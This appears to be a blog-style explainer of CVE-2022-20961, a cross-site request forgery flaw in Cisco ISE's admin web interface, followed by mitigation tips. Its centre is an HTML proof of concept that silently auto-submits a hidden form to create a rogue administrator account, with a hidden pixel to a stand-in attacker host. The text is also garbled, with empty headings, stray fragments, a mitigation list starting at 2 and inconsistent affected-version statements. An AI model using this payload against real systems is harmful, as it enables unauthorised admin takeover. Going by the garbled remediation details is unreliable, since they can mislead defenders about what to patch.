Security flaws in management interfaces are nothing new, but vulnerabilities in key enterprise platforms can have far-reaching consequences. CVE-2022-20961 is one such vulnerability affecting the web-based management interface of Cisco Identity Services Engine (ISE). This flaw allows attackers to trick users into running unauthorized commands, opening the door for potentially devastating consequences for your organization.

In this article, we’ll break down how this vulnerability works, show you a real-world exploit scenario (with code samples), and arm you with knowledge to protect your ISE deployments. We’ll keep it simple and actionable so anyone responsible for network security can follow along.

What is CVE-2022-20961?

CVE-2022-20961 is a Cross-Site Request Forgery (CSRF) vulnerability discovered in Cisco Identity Services Engine (ISE).

CVE Record: NVD Record  
Cisco Advisory: Cisco Security Advisory

Main problem:  
ISE’s web management interface does not implement proper anti-CSRF protections. That means an attacker can craft a malicious webpage or email containing requests to your Cisco ISE system, trick you (an admin or user) into clicking a link, and those requests are accepted as if they came from you.

Essentially perform any action that your account can do

And all this without needing your login or password!

How Does CSRF Work Here?

Imagine you’re an admin, logged in to the ISE web interface in one browser tab. You get an email, or visit a malicious site, and that site instructs your browser to send an HTTP POST request to ISE, for example, creating a new admin account.

Since ISE didn’t check whether you really intended to make that request (it just sees a valid session cookie), it accepts the change.

1. Prerequisites

- The attacker needs to know the endpoint (i.e., the URL and form data your ISE expects) to perform the action they want, such as adding a new user.

2. Realistic Attack Payload (HTML Example)

Suppose ISE allows user management via a POST request to /admin/users. Here’s what an attacker’s malicious web page could look like:

<!-- Filename: csrf_exploit.html -->
<html>
  <body>
    <h1>Welcome!</h1>
    <img style="display:none" src="https://your-bad-site.com/pixel"; />
    <form id="csrfForm" action="https://ise.example.com/admin/users"; method="POST">
      <input type="hidden" name="username" value="eviladmin" />
      <input type="hidden" name="password" value="SuperSecretPass123" />
      <input type="hidden" name="role" value="admin" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

What happens:
If the victim is logged into ISE in another tab and visits this page, their browser will silently submit the form, creating an eviladmin account with admin privileges.

Masking short URLs

Any action that makes your browser submit a crafted request to the ISE host can trigger the exploit.

Why Does This Work?

Because the ISE web interface did not check if the request came from an actual user action. Normally, sites protect against this using a CSRF token—a little piece of data unique to your session and forms, which must be present for any state-changing request.

Without it, the site can’t tell if the action is real or faked by another site.

How to Know if You’re Vulnerable

- You’re running Cisco ISE on an affected version (prior to the fixed releases—see official advisory: Cisco ISE CSRF Patch).

ISE Release 3.2 and later

Update instructions:  
Visit Cisco’s guide: Cisco Software Download

2. Log out When Done

Encourage admins and users to log out when they're finished managing ISE.

3. Limit Privilege

Don’t let users surf random websites while logged in as an ISE administrator.

4. Segment Access

Lock down who can access your management interface (e.g., VPN, admin VLAN only).

5. Web Application Firewalls

Deploy a WAF that understands and enforces strict sessions and can optionally detect suspicious cross-site requests.

References

- CVE Report: https://nvd.nist.gov/vuln/detail/CVE-2022-20961
- Cisco Security Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-csrf-6xLV6VTN
- OWASP CSRF Explanation
- Cisco Patches Announcement

Conclusion

CVE-2022-20961 is a textbook example of why strong CSRF protection is essential in management portals. If you run Cisco ISE — especially on versions before 3.1P3 — update immediately and follow safe practices. Stay vigilant and always keep software up to date.

Questions or concerns about Cisco ISE security? Consider reaching out to your Cisco partner or security consultant.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:45:00 UTC